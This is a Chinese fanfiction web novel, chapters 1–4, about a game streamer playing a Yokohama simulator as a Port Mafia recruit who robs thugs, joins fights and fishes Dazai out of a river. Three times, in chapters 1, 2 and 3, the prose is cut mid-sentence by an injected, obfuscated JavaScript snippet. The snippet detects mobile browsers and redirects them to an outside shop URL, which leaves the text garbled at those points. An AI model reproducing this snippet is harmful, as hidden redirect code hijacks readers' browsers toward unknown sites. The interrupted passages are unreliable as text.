《港口Mafia,但内测玩家》 1. 第1章 距离游戏内测开始仅剩五分钟。 温叙躺进全息舱 ,舱门缓缓合拢,头顶的倒计时无声跳动,数字一点点归零。 【是否进入系统空间】 一道冰冷电子音在他耳畔响起。 “进进进。”温叙迫不及待地出声。 眼前一黑,再睁眼时,人已经被换了一个地方。 他没有急于打量四周,而是垂下眼,将注意力全然投入这具崭新的“身体”。 温叙低着头,盯着自己的双手看了两秒,随即猛地抬手,对着小臂内侧狠狠掐了下去。 清晰的痛感顿时炸开。 “嘶……”他倒抽一口凉气,眼睛却骤然亮了起来,“痛感居然这么真实?!!” 他几乎是迫不及待地活动起手脚,先是小幅度的伸展,紧接着幅度越来越大,甚至当场做了一套广播体操。 随后,他像是彻底放开了,在这个空旷无人的空间里撒欢似地冲刺、急停、侧翻……最后还尝试着跳起,完成了一个不太标准的后空翻。 “百分之九十的拟真度……”温叙稳住身形,惊喜嘀咕:“居然还真没骗人。” 一番折腾下来,身体反应流畅得惊人,只有细微的滞涩感,几乎可以忽略不计。 对于习惯了市面上那些只有五六成拟真度游戏的玩家而言,这简直是颠覆性的体验。 作为“小绿果”平台有着几十万粉丝的游戏主播,温叙经常收到各种游戏的内测邀请。 这次,吸引他的是个名叫《横滨模拟器》的全息游戏。 宣传语打得极其嚣张: 【真实异世界!拟真度百分之九十!无主线!绝对自由!】 在这个全息游戏拟真度普遍停留在百分之五六十的时代,《横滨模拟器》横空出世,配上铺天盖地的宣传,确实吸引了不少眼球。 [这又是哪个小作坊搞的噱头吧!] [百分之九十?梦里什么都有。] [这要是真的,我就倒立洗头。] 网上质疑声不少,但预约人数却节节攀升。毕竟,谁不对一个近乎真实的“第二世界”抱有幻想? “嚣张,太嚣张了。”温叙当时就拍板接下了邀请,倒要亲眼看看这游戏究竟是不是如宣传所说。 —— 简单伸展一下拳脚,温叙这才将注意力转向游戏空间。 一段影像在他眼前展开—— 先是划过俯瞰视角下辽阔的海面,镜头迅速推向内陆,高耸的五栋黑色大楼映入眼帘,紧接着是一片低矮密集的街巷。最后,画面在一场轰然爆炸中定格,烟尘散去,只留下一个巨大的盆地。 影像暗去,一本白色书籍浮现于半空,书页自动翻开,白光流转,扉页上勾勒出了墨色大字: 【横滨模拟器】 CG过后,温叙面前才浮起一面淡蓝色的的光屏。 他懒得在捏脸上花费时间,直接导入了自己的外貌与身体数据,顺手将除了味觉以外的所有感知都拉到最低。 随即,他点开了【身份选择】的选项。 【港口黑手党(危险程度:高) 异能特务科(危险程度:低) 武装侦探社(危险程度:中) 自由人(危险程度:高)】 “这还用想?”温叙眉梢微挑,指尖却没有半分犹豫,直接戳向第一个,“玩游戏,当然要选最刺激的地方了!” 【玩家已选择港口黑手党。请注意,阵营仅为初始身份标识,游戏无强制主线,您的所有行为皆由意志决定。】 还真是一点主线都没有。 他不再耽搁,怀着满腔的好奇与期待,径直点击了【进入游戏】这个选项。 【游戏加载中——】 【身份背景生成中——】 【已进入游戏,祝您玩得愉快。】 温叙睁开眼,他正站在一条昏暗的小巷里,墙壁上全是弹孔密布,地面横七竖八躺着尸体,血迹已经发黑。 一群穿着统一黑色服装的人正在沉默地忙碌,他们熟练的回收弹药、匕首等任何有价值的物品。 “怎么就直接见血啊。”他吐槽了一句:“这出生点也太阴间了。” 他一边在心里默默给游戏策划“点赞”,一边熟练地在心里默念游戏面板。 淡蓝色的光幕悄然出现,映亮他半张脸,周围的黑衣人们却对此毫无反应。 【玩家姓名: 温叙】 【年龄:19 生命值: 100/100 (归零原地复活,死亡也请挑选合适地点。) 体力值: 100/100 (过低将影响行动,请保持5以上。) 饱腹值: 100/100 (饥饿会影响行状态,请按时进食。) 敏捷:89 (身手轻捷,可以快速的逃离他人的追捕。) 异能力: 待抽取(运气也是实力的一部分,若实在不满意,可以考虑撕卡重来。) 阵营:港口黑手党 (当前只是一名底层人员,请注意,该位置伤亡率较高。)】 “异能力?这个设定我喜欢。”温叙眼睛一亮,毫不犹豫点击抽取。 光幕上白光一闪,异能力一栏也随之更新,显示出一行字:【什么,你和我的卡牌说去吧】。 “卡牌系能力?”他好奇的点开详情,一边看一边念出声:“每天有三次抽卡机会,卡牌分N、R、SR、SSR、UR五个等级……哇,纯看运气啊,刺激!” 典型的运气型能力,上限极高下限极低,温叙却乐了—— 这种充满不确定性的机制,不正是游戏的乐趣所在吗?他仿佛已经看到未来欧皇附体、抽出一排UR的辉煌场景了。 正当他美滋滋畅想时,肩膀忽然被人从后方拍了一下。 “发什么呆?该集合回去了。”一个略带沙哑的男声响起。 田中茂在温叙转身后,明显怔了一下,花了点时间,才把眼前这张陌生的脸孔,和记忆中刚加入港口Mafia的新人对上号。 怎么没有印象呢?他心里浮起一丝的疑惑,但很快抛到了脑后。底层人员来来去去,记不清也正常。 作为这支后勤小队的小队长,田中茂迅速清点完人数,确认无误后,便带着众人离开。 二十分钟后,他们回到了那五栋黑色大楼前。 “压迫感十足啊。”温叙抬头看着高耸入云的建筑,小声感慨了一句。 一行人走进了最高的那栋主楼,在一楼大厅简单交接后,便径直转向旁边那栋用作员工宿舍的大楼。 电梯缓缓上升,最终在三十五层停下,眼前是一条长长的走廊,两侧整齐排列着一扇扇紧闭的房门。 温叙的目光落在那些门上,眼神微微亮了一下。 宿舍?不,这分明是系统送给新手玩家的、明晃晃的“资源点”啊! “新手大礼包,”他嘴角疯狂上扬,“我来了!” 他毫无心理负担地走到最近的一扇门前,握住门把,轻轻一拧—— 门开了。 他推门而入,完全无视了身后田中茂几人惊愕的目光,开始翻箱倒柜。 “喂!你干什么?!”田中茂反应过来,急忙上前阻拦,却被温叙侧身轻易避开。 “愣着干嘛?拦住他啊!”田中茂朝着身后还有些发懵的队员喊道。 眼看温叙已经搜完一间,走向下一间,几人赶紧围上去,试图在狭窄的走廊里堵住他。 “你抓错了,那是我的手!” “他去那边了,快来!” “我靠,谁踩我了?” “分开堵,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048750|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要扎堆!” 温叙的身形滑溜得像鱼一样,敏捷89的属性让他游刃有余,总能从人缝中钻过。 眨眼间便已搜完第二间,闪身进了第三间。 田中茂他们气急败坏却又因组织禁令不敢真正动手,只能眼睁睁看着温叙已经高效地“光顾”完了这一层所有房间。 游戏背包里,安静地躺着一堆新入手的物品: 【锋利的匕首】、【金钱若干】、【半枯萎的仙人掌】、【夹心面包×6】、【被反复翻阅的童话书】…… 搜刮完毕,温叙这才心满意足地回到他的十人间——虽然叫十人间,但目前只住他一个。 空旷的房间里整齐排列着上下铺,中间过道宽敞。尽头有个小阳台,推开窗,三十五层高处的风立刻涌了进来,带着傍晚微凉的湿气。 天空正被晚霞染成绚烂的金红,云层翻卷,脚下的城市在暮色里缩成一片朦胧的剪影,只有零星的灯光依旧明亮。 “还不错嘛。”他自言自语了一句,这才走回属于自己的那个靠门下铺。 床铺上已经铺好了港.黑统一提供的灰色格子床单和被褥,叠得方正整齐。 温叙在床沿坐下,感受着身下被褥的柔软,随即心念一动,直接发动了异能,将今天的三次抽卡机会一并使用了。 三张泛着柔和白光的卡牌虚影,无声地浮现在他面前的空气中。卡牌边缘流转着浅蓝色的神秘纹路,牌面中心则绘着不同的图案。 温叙伸出手指,依次点过。 【治疗绷带 等级:SR 类型:一次性 介绍:使用后,三十分钟内持续恢复绷带覆盖区域的所有伤势。(需目标仍存有生命体征,否则将没有效果。)】 【新手保护】 等级:SSR 类型:一次性 介绍:使用后,七十二小时内的所有攻击均无效。(合理规划时间,请警惕对方的拖延战术。】 【六发手枪】 等级:R 类型:耐久性 介绍:最多可装填六枚子弹,耐久度归零后损毁。(枪法需自行练习,祝你好运。)】 将三张卡牌收入背包,温叙满意地勾起嘴角,点了点头:“运气不错嘛!” 他站起身伸个懒腰,随后便推开房门,脚步轻快地走了出去。 夜幕已完全降临。 温叙双手插在兜里,随意地闲逛,目光却不动声色地掠过身后,有几道鬼鬼祟祟的影子,已经跟了他一段路。 “来了来了,经典桥段。新手村必备节目——拦路打劫,或者反过来被主角打劫。”他不但不慌,反而有点兴奋。 他装作毫无所觉,脚步一拐,主动走进了一条光线昏暗、僻静无人的窄巷。 尾随者们心中窃喜,以为肥羊自寻死路,立刻加快脚步跟了进去。 然而,巷子里空空如也,只有几只被惊动的老鼠窸窣跑过。 “人呢?刚才明明看见那小子进来了!”为首是个黄毛混混,惊疑不定地四处张望,手里掂量着一根生锈的铁管。 巷子里尽头是一面三米高的墙,旁边堆着垃圾桶,有垃圾散落在地面,流浪猫早在脚步声靠近时就顺着墙溜走了。 此刻,温叙正站在巷子入口上方的围墙上,俯瞰着下方那几个像无头苍蝇般乱转的身影。 他在踏入小巷的第一时间就攀上了墙。动作轻巧利落,顺着墙沿无声移动,最终落在入口上方的位置,彻底堵死了出口。 晚风拂起他额前的黑发,他嘴角勾起一丝玩味的弧度。 手掌一翻,那张R卡【六轮手枪】具现在他手中,金属枪身触感冰凉沉重。 他不太熟练地检查了一下弹匣——满满的六颗子弹,随后,将枪口稳稳地,对准了下方。 2. 第2章 “都蹲下,把身上值钱的东西都交出来。”温叙从墙头轻巧跃下,整个过程没发出一点声音。 温和的嗓音从巷口传来,混混们愤恨的向发出声音的位置看过去,刚想发火,转过身去,就对上了泛着冷光的枪口。 温叙站在灯光里,柔软的黑发泛着光泽,修长的手臂伸直,骨节分明的手指握着黑色枪支。一层温和的白光将他笼罩,看起来人畜无害。 ——如果忽略那把枪的话。 黄毛混混看清温叙年轻甚至称得上俊秀的脸庞,强撑着发软的腿,色厉内荏地低吼:“小子,你以为有把枪就了不起了?我们人多……” “砰!” 一声短促清脆的枪响打断了他的话,子弹擦着黄毛的耳朵飞过,打在后面的墙壁上,溅起一层水泥灰。 黄毛吓得一哆嗦,手里的铁管“哐当”掉在地上。 “我交!我交!别开枪!”其他混混更是瞬间秒怂,立马抱头蹲下,手忙脚乱地把口袋里所有的钱、手机、甚至钥匙扣都掏出来捧在手上,脸色发白,不敢有丝毫反抗。 混混们生怕温叙一个手抖,让冰冷的子弹和他们来一个负距离接触。 拿钱不急于一时,温叙把手枪来回抛接了两下,动作透着漫不经心,懒洋洋地发问:“港口黑手党最近有什么消息?” 混混们绞尽脑汁,把听来的小道消息翻了个遍。 黄毛抢先道:“先、先代首领病倒了,新上位的是医生,以前……以前据说是开地下诊所的,心黑手狠。” 另一个混混补充:“对对,听说他还有个女儿,特别宠……” 温叙对港.黑的情况有了大致的了解后,让那几个混混把钱递过来。他顺势活动了一下僵硬的腿脚,才让他们带着满身脚印赶紧滚开。 专门把钱放进背包,他又在横滨的街头巷尾转了几圈,重复着同样的步骤。 横滨的黑.帮械斗如同家常便饭,血腥场面随处可见。他刻意避开了那些混乱区域,只对付落单的混混。偶尔遇上不怕枪的硬茬,他便靠着【新手保护】硬扛几发子弹。 温叙自觉还挺讲道理:只要乖乖上交财产,他就放人一马;要是不识相,他也不介意请对方吃几颗子弹。 他的“打劫事业”没引起太大关注。毕竟横滨的夜晚本就混乱,械斗、抢劫、失踪几乎每时每刻都在发生,几个底层混混的倒霉遭遇,连点像样的水花都溅不起,更不会有人特意去追查。 临近晚上十点,等温叙摸清了横滨的基本情况,才主动收手。 这座城市在日本战败后被划为租借使用,法律在这里形同虚设,各方势力鱼龙混杂,更聚集了大量异能力者。 港口Mafia是黑暗势力的领头羊,异能特务科是管理异能力者的官方组织。 还有个特殊区域镭钵街——八年前大爆炸形成的巨大凹地,如今是难民聚集地。那里生活混乱,为了一块面包都能争得你死我活。里面有个未成年自卫组织叫“羊”,首领被称为“羊之王”,成员们都戴着手环作为标志。 “这不就是过场动画里那个爆炸坑嘛。”温叙琢磨着,有时间得去逛逛,那种地方肯定藏着重要NPC,剧情应该会很精彩。 —— 第二天,温叙尝试跟田中茂的小队行动,结果不是捡子弹就是回收装备,跟了几次就失去了兴趣,干脆脱离出来。 田中茂他们也不敢多言——被温叙“友好交流”过几次后,他们选择保持沉默。以至于港口黑手党内部根本没发现,有个新人的无故旷工。 下午,温叙听说黑蜥蜴有场战斗,他直接跑过去凑热闹。当时双方正打得激烈,没人注意这个突然冒出来的底层人员。 温叙看着混乱的战局,仗着【新手保护】还在持续时间,大摇大摆走了进去。 他抬手,对着敌人就是六枪打了过去,然后就站在原地,不急不慢摸出六发子弹,一颗颗填充。整个动作甚至显得有些笨拙,却带着一种旁若无人的淡定。 一枚子弹射向他胸口,却无事发生。 温叙恰好装完最后一颗子弹,转身,抬手,对着那个目瞪口呆的敌人又是一枪。 对方眉心中弹,仰面倒下。 “是异能力者!” “怎么会还有异能力者?!!” 敌方顿时慌了,他们怎么也想不到对方还藏着一名异能力者,在进行了一半的战斗中突然冒出来。 可恶,这就是老牌Mafia独有的狡诈吗? 温叙一点也不知道因为他的出现,港口Mafia的名声遭到了污蔑,他现在正根据敌人头上的鲜红色的标志,一个个瞄准、射击。 他在战斗中游鱼得水,他不需要担心自己的安全,只需要举起枪,瞄准红色光标,扣动扳机,如同玩一款简单的射击游戏。 温叙的加入,彻底打破了战场的平衡。敌方士气迅速崩溃,开始溃逃。港口黑手党这边虽然也惊疑不定,但抓住机会,很快结束了战斗,取得了压倒性胜利。 这之后,温叙又参与了几场规模不等的冲突。每次都是中途加入,打完后立刻离开,深藏功与名。港口黑手党因此连续取得了几场原本可能陷入苦战甚至失败的胜利,损失大幅降低。 很快,一个谣言在横滨黑暗世界不胫而走,并且越传越玄乎: “港口黑手党藏着一批秘密培养的异能力者!不属于任何已知部队,身份成谜,专门用于执行特殊任务或扭转关键战局!” “据说他们能力各异,有的刀枪不入,有的能瞬移,有的可以操控影子……神出鬼没!” “有他们参与的战斗,港口黑手党都是碾压式胜利!以后遇到黑蜥蜴或者别的部队,得小心了,说不定那些秘密异能者就混在里面!” 温叙完全不知道,自己因为使用了不同的卡牌,而被当成了好几个人组成的“秘密小队”。 打完一场小规模遭遇战后,他溜达到了昨天新发现的一家咖喱饭店——这是他在横滨探索过程中找到的、为数不多的美食据点,味道相当不错。 下午时分,店里人不多,安静祥和,与外面的混乱仿佛是两个世界。他熟门熟路地推门进去,风铃叮当作响,挑了靠门的位置坐下:“老板,一份特辣咖喱饭。” 店铺不大,装修朴素,充斥着深色的木质材料,桌椅、墙壁装饰都透着一股被时光打磨过的温润感,空气里弥漫着香料和米饭的香气。 “来了,您的特辣咖喱。”老板很快就把咖喱端上桌,瓷盘边缘磕在木质桌面上发出闷响。 蒸汽卷着辛辣的香气扑面而来,金黄色的米饭被深褐色的咖喱完全覆盖,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048751|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约能看见埋在其中炖到酥软的土豆,表面浮着一层闪着光的红油。 温叙塞了满嘴,感受到舌尖传来的香辣和米饭的香甜,不禁感慨:“百分之九十拟真度果然不能小觑,这和现实里没区别啊。” 不过,在游戏里还能享受到热气腾腾的饭菜,真是太好了。 吃饱喝足,他和老板告别,晃悠着离开,继续他的横滨探险。 而此时,港口黑手党大楼的最高层,首领办公室—— 森鸥外坐在宽大厚重的红木办公桌后,身下是象征着港口黑手党最高权力的首领座椅。 他面前摊开着几份最新的行动报告和伤亡统计,紫红色的眼睛微微眯起,目光落在关于最近几场胜利的战斗描述上。 “最近底下……关于‘第三小队’的传言,还真是响亮呢。”森鸥外鸥外声音平缓,听不出情绪。 他也听说了最近的谣言,仔细一查,才愕然发现,港口黑手党内部,似乎真的“隐藏”着一位行事独特的异能力者。 他抽出记载着温叙行踪记录的文件,迅速浏览。爱丽丝趴在他腿边,用蜡笔画着谁也看不懂的抽象画。 “温叙,十九岁。他幼时从种花家被拐,此后一直颠沛流离,在欧洲、东南亚等地辗转,直到半个月前才偷渡来到横滨,几乎身无分文,随后加入港口黑手党谋求生存。” 森鸥外不急不缓地念着档案上的信息,语气平淡得像在读天气预报,“加入后,分配至后勤清理小队。但他很快便脱离了小队日常行动,多次出现在战斗中。” “在这之前,无论是辗转各国的经历,还是刚来横滨时挣扎求生的阶段,没有任何关于温叙君使用异能力的记录或传闻。他的异能力,似乎是在加入港口黑手党、或者说,是在来到横滨之后,才突然展现出来的。” 森鸥外放下文件,双手交叠放在桌面上,看向阴影中的少年,“你觉得,这份档案,有几分可信度,太宰君?” “森先生是笨蛋吗。”轻飘飘的、带着明显倦怠和嘲讽意味的少年嗓音从阴影里传来。 黑发少年用两根手指捏着一份同样的文件,从阴影中缓缓走出半步。他穿着过于宽大的黑色风衣,裸露的皮肤上缠满绷带,连一只眼睛也遮着。 未被绷带缠住的那只鸢色眼眸在昏暗光线下显得空洞,清晰地映出纸张上那些乏味的文字。 “这种东西,一看就知道是随手填上去糊弄人的吧。经历模板化,关键信息模糊,来源不可考……一点可信度都没有哦。” 他尾音轻飘飘地坠在空气中,毫不掩饰其中的讥诮。走到落地窗边,屈指弹了弹手中的报告,纸张发出清脆却无力的声响。 “既然太宰君也这么认为——” 森鸥外丝毫不意外太宰君的答案,身体向后靠进宽大柔软的首领椅背,姿态放松,眼神却变得锐利了一些,“那么,这位突然出现、能力特殊的温叙君,其真实来历和目的,就值得我们深究了。” 他紫红色的眼眸注视着太宰治,语气温和却带着不容拒绝的意味: “港口黑手党正值用人之际,也需要了解这位‘新成员’的底细。所以,就拜托太宰君,去接触一下那位温叙君吧。尽量摸清他的能力底细、性格倾向,以及……他究竟想从港口黑手党,或者说,从横滨,得到什么。” 3. 第3章 刚当上首领没几天,各方势力虎视眈眈,内部也需要整顿安抚,每个干部、每个有点能力的人都被繁重的任务压得喘不过气。森鸥外每天都在感慨人手不足。 接触温叙这个任务,他脑海里过了一圈人选,广津柳浪、尾崎红叶……都因为身负要职、任务繁重而被排除。 想来想去,眼下最“清闲”、也最适合处理这种“异常”事务的,似乎只剩下眼前这个让他也时常感到头疼的少年了。 “不要啊——”太宰治立刻拖长了语调,满脸都是不情愿,“我才不想给森先生打工。” 他把自己往窗帘的阴影里又缩了缩,黑色风衣的下摆垂落在地毯上,几乎要与更深的黑暗融为一体。 “森先生派我去,其实还是是怕温叙君的能力和行事,会威胁到你刚刚坐稳的首领之位吧?” 太宰治偏过头,嘴角勾起一个毫无温度的弧度,鸢色的眼眸在阴影中晦暗不明,“毕竟,看温叙君最近的行事风格就知道了。张扬、肆意、能力强大,而且还在底层成员中积累了一定的声望。” “他那样的人,”太宰治嘴角的笑意加深,眼底却依旧空忙忙的:“说不定哪天觉得有趣,就真的想试试推翻你,自己上位玩玩呢。” 森鸥外沉默了片刻,指尖轻轻敲击着桌面,发出规律的轻响,在空旷安静的办公室里显得格外突兀。他忽然低笑了一声,那笑声很轻,听不出喜怒。 “太宰君,”他缓缓抬起眼,紫红色的眼睛里映出对方的身影,语气平和: “港口黑手党的首领之位,说到底,也不过是组织的奴隶,只要是为了港口黑手党整体的利益与存续,谁坐在这个位置上,其实都无所谓。” 他顿了顿,声音压低,带着一种理性:“但我可不认为,温叙君那样随性的人会适合首领的职位。他的能力更像是一把锋利的刀,但刀,需要握在能正确使用它的人手里。” 太宰治脸上的神情丝毫未变,仿佛方才那段暗流涌动的对话从未发生。他语气轻快地一转,像是忽然想起了什么极有意思的事: “对了,我最近才发现了一条超——棒的河!”太宰治的语调上扬,仿佛真的只是在分享一处值得参观的风景,“超级完美呢,真想现在就去和它打个招呼。” 然而下一秒,神情瞬间变得厌倦,仿佛刚才的雀跃只是旁人的错觉: “说到底,观察、试探、套话……这样的的工作,谁都能胜任吧?” “不要任性,太宰君。”森鸥外严肃的嗓音响起,不急不缓拒绝了太宰治的提议。 “其他干部都有自己的事要忙,抽不开身。”他微笑着,目光轻飘飘转向了倦怠的少年,语气温和却不容置喙,“眼下闲着的,可就只剩你了,太宰君。” 他顿了顿,像是想起什么似的,唇部笑意加深了:“对了,如果任务顺利完成的话,”他从抽屉里取出一只小巧的玻璃瓶,轻轻晃了晃: “我就把你一直惦记的这瓶特质安眠药,作为奖励送给你,怎么样?” 森鸥外的声音压得低低的,带着几分诱哄的意味:“说不定……它能帮你实现你一直追求的‘永恒安眠’呢。” “……” 室内陷入短暂的沉寂。太宰治垂下眼睫,半晌才轻轻“啧”了一声。 “森先生真是狡猾啊。”他慢吞吞地开口,声音里听不出什么情绪,“总是能拿出让我没法拒绝的‘糖果’呢。” 森鸥外早就料到太宰治会这样回答,他满意的点了点头:“那么,我就等着太宰君带回来的好消息了。” 太宰治没什么精神地地晃出门后,一直趴在桌边安静画画的爱丽丝才扑过来。 她用力拽了拽森鸥外的黑色大衣衣角,气鼓鼓地跺脚:“林太郎,快来看看我的新画!” 森鸥外顺从地弯下腰,纸上是一幅用蜡笔涂抹的画。线条歪歪扭扭、下笔极重,几乎要戳破纸张。一个勉强能看出人形的东西,困在各种扭曲的色彩和形状之间。 他静静地注视着那团被围困的人形。片刻后,含着笑的声音响起: “哎呀,爱丽丝画得真棒。” —— 今天港口Mafia风平浪静,没有什么可以让温叙去参与的“热闹”。 他照例先使用了异能力。 【什么,你和我的卡牌说去吧】 一道白光闪过,三张卡牌凭空出现。 【营养液 等级:R 类型:一次性 介绍:营养液中含有多种人体所需的元素,一瓶管饱一整天。 (减肥必备,走过路过,千万不要错过。) 复制符 等级:SSR 类型:一次性 介绍:使用该符后,可以复制目标的能力为自身所用。 (傻了吧,你有的我也有。) 赌徒鱼竿 等级:R 类型:耐久性 介绍:若第一杆为空,后续有百分之十概率可以钓到鱼,百分之四十概率可以钓到杂物,百分之五十概率空杆。若第一杆有收获,则后续钓到鱼的概率增加到百分之百。 (一竿定胜负,有志你就来。)】 “钓鱼佬狂喜啊。”温叙盯着鱼竿说明,眼睛一下子亮了。 他拎起鱼竿跑到河边。河水清澈,能看到几尾小鱼悠闲地游来游去。温叙深吸一口新鲜空气,随意往岸边的石头上一坐,潇洒挥竿—— 鱼线猛地一沉。 “来了来了!”温叙激动地收线,手感沉甸甸的,像是个大家伙。 他费了好大劲,绷紧了鱼线慢慢往回拉,心里已经想象出一条肥美大鱼在阳光下闪闪发光的画面了。 拉上来一看—— 空的。 鱼饵却不翼而飞。 温叙:“???” “这也能跑?”温叙瞪圆了眼,心里的小人大惊失色,抱头尖叫。 他不信邪,再次挥竿,接下来发生的一切,完全诠释了了什么叫“系统出品,必属精品”。 [遗弃的鞋子],[被吃了一口的面包],[塑料袋],[孩子的玩具],[丢失的钱包],[某居民的尸体碎片],[破烂的长裤]…… 竟然是一条鱼都没钓上来啊。看到这些垃圾,温叙无能狂怒。 那百分之十的概率被系统啃了吗?!! 又一竿收起,钓上来一具“尸体”。 忽略掉胸口微弱的起伏,温叙面不改色把“尸体”往旁边草地上一晾,继续挥竿。 现实却是残忍的,直到鱼竿的耐久度肉眼可见地下降,岸边除了“尸体”就是垃圾,一条鱼的影子都没见着。 他终于死心了,蔫蔫地放下鱼竿,愤怒地从那堆杂物里翻出个看起来最值钱的钱包,试图用金钱的温暖安慰自己受伤的心灵。 在温叙没有注意的角落,草地上那具一直安静躺着的“尸体”,手指几不可察地动了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048752|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又没死成啊…… 太宰治恢复意识时,熟悉的失望感先一步涌了上来。什么时候才能拥抱永恒的安宁呢? 尝试过太多次,连失败都变得乏味。 他漫无边际地想:这次又是哪个“好心人”多管闲事? 眼睛还没完全睁开,呛进胸腔的河水就先让他偏过头咳了起来。等缓过气,他才勉强掀开眼皮。 视线模糊了一瞬,然后逐渐聚焦。首先映入眼帘的,是被夕阳染成金红的天空,然后,是旁边一个背对着他、正低头认真研究着什么的身影。 那人正拿着个湿哒哒的钱包,翻来覆去看着,鱼竿随意丢在脚边,完全没分给他半个眼神。 看来自己就是被他钓上来的。 太宰治忽然来了点兴趣。一般人遇到这种事,不是该叫救护车或者报警吗?这人居然还能淡定继续钓鱼? 他是怎么想的…… “你手里的这个钱包,”太宰治轻轻吸了口气,用尚带着溺水后虚弱却清晰的声音开了口,“好像是我的。” 沙哑的声音也无法掩饰他的恶趣味。 温叙把目光投向说话的人。 湿漉漉的黑发黏在少年苍白的脸颊边,裸露的皮肤缠满绷带,连一只眼睛也遮着。他浑身湿透,衣服还在往下滴水,看起来狼狈又脆弱。 露出来的鸢色的眸子,径直落在他手里的钱包上,眼底像含着蜜,在阳光下格外温暖。 温叙没接话,心念一动,对方的信息瞬间浮现在眼前: 【姓名:太宰治 年龄:14 异能力:人间失格 阵营:无 】 异能力者?!! 温叙的第一反应是终于遇到一个异能力者了。 温叙的眼睛唰地亮了,不是说横滨的异能力很常见吗,为什么他这么多天一个异能力者也没遇到啊! 再往下看—— 【人间失格】 温叙嘴角的笑容微微凝固。 不是!别人的的异能力名字怎么这么有格调、有文学气息啊。 这不就衬得玩家的异能力名字也太简单粗暴了吗?!! 这画风也差太多了吧。 一种被比下去的挫败感油然而生,他郁闷地抓了抓有些翘起的黑发。 不行,不能光看名字,效果才是关键!他迅速调整心态,好奇心重新占据上风。 温叙选择单刀直入:“人间失格是什么效果,给我展示一下。” 对方能直接对他使用异能…… 是早就知道“人间失格”,还是他的异能本身就能无视无效化? 太宰治眼睫动了动,却没追问。算了,这种费神的事,还是丢给森先生去头疼吧。 他更在意的是眼前这个人眼睛里透出的纯粹的好奇,这人到底是怎么想的呢? “我可以给你展示,不过你要先回答我一个问题。” 太宰治抬起眼,目光没什么焦点地望向前方,仿佛在看空气,又像在看什么很远的东西。 亲人、爱人、权利……世人珍视的存在,于他而言薄的像一层雾气。 他见过太多人了——每个人都在扮演自己的角色,说着被写好的台词,走向注定的结局。每一次转折都像早已写好的剧本,活着究竟有什么意义? 人为什么而活着? “你——”太宰治收回视线,静静地看向温叙,轻声问: “你为什么而活着?” 4. 第4章 温叙:“……” 还能为什么?不活着,难不成去找死啊?温叙下意识想吐槽,但当目光落到少年那鸢色的眸子时,又悉数咽了回去。 那眼神空茫茫的,仿佛连求生的意义都寻找不到,无声向世界发出微弱的、却自己觉察不到的求救信号。 行吧行吧…… 温叙在心里叹了口气。就当是日行一善,拉一把陷入迷茫的少年,安抚一下自己几乎不存在的良心吧。 更何况,万一这小屁孩因为自己一句话想不开,关于异能力的情报不就飞了?那玩家还得等到侯年马月才能碰见下一个异能力者啊! 光想想这一个可能,温叙就觉得心里发痛——他还指望通过对方多了解一下游戏的异能设定呢。 “其实……这个世界还是有美好之处的。” 温叙试图组织语言,却忽然想起进入游戏第一晚撞见的小混混、横滨街头随处可见的械斗、以及这满目疮痍的城市,他连忙改口: “不对,我是说,总会有一些值得珍惜的人和事,比如帮助过你的人,或者志同道合的朋友……” 只提“人”似乎也不稳妥,万一对方的绝望本就源于人情冷暖呢? “对了,还有美食和风景!”他眼睛一亮,“看到漂亮的景色心情会变好吧?吃到好吃的东西,也会觉得活着还不错,对不对?这个世界就是这样,有好有坏,不能只看阴暗的那一面。” 然而少年垂着脸,神色丝毫未动。 温叙心里没底,却还是硬着头皮,近乎自言自语般说下去:“总之你……” “不是,我是说我……” “我嘛……我就是为了那些美好的瞬间活着的。”温叙终于挤出了最后一句话:“只要想到世上还有那样的时刻,就觉得……好像还能再坚持一下。” 完美!这碗鸡汤可是从网上冲浪学来的,用在这儿简直是量身定做!温叙在心里给自己狠狠点了个赞。 太宰治静静听着,眼底却毫无波澜。 无聊。 太无聊了。 世界于他而言早已一览无余,本以为或许能遇见什么有趣的人,到头来却仍旧是索然无味的安慰与说教。 他倦怠地垂下眼,连反驳的欲望都没有,只是心里那点浅薄的期待,悄无声息的消散了。 温叙全然不知自己被贴上“无趣”的标签,他眼下正琢磨着更实际的问题—— “那现在……能告诉我‘人间失格’具体是什么效果了吗?” “通过触碰无效化异能。”太宰治兴致缺缺,回答得简短潦草。 温叙一怔,第一个遇见的异能就这么特殊吗?运气这么好吗? 完全忽视了方才在河边一条鱼也没钓上来的悲惨事实。 “那我能碰你一下试试吗?”他像是完全没察觉到太宰治的冷淡和疏离,伸手就抓住了少年的手腕。 ——开玩笑,玩家发善心是一回事,主要是为了套情报。难道还要等事事征求npc的批准才行动?那这游戏干脆也别玩了。 体内的卡牌隐隐躁动,却因今日抽卡次数已尽,终究是沉寂下去。 